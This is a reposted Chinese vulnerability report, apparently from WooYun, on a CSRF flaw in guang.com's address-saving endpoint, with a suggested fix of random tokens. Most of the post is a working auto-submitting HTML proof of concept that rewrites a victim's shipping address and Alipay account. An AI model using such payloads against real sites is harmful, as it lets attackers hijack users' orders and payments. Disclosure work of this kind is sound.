来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] guang.com改收货地址的地方没有验证token，收货地址、支付宝任意改。POC:htmlmeta http-equiv=Content-Type content=text/html; charset=UTF-8 /bodyform name=csrf action=http://guang.co......
|
guang.com改收货地址的地方没有验证token，收货地址、支付宝任意改。
POC:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><body>
<form name="csrf" action="http://guang.com/account/saveAddress" method="POST">
<input type=text name=trueName value="啊啊"></input>
<input type=text name=province value="北京市"></input>
<input type=text name=city value="东城区"></input>
<input type=text name=addressDetail value="乌云区乌云路1号乌云小区1栋1单元101"></input>
<input type=text name=cellphone value="13888882255"></input>
<input type=text name=alipay value="root@wooyun.org"></input>
<input type="submit" value="submit" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>
 http://email.smtp.yupage.com/guang.htm
修复方案：
其他地方绝对也有这种情况，一定要加上随机token |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
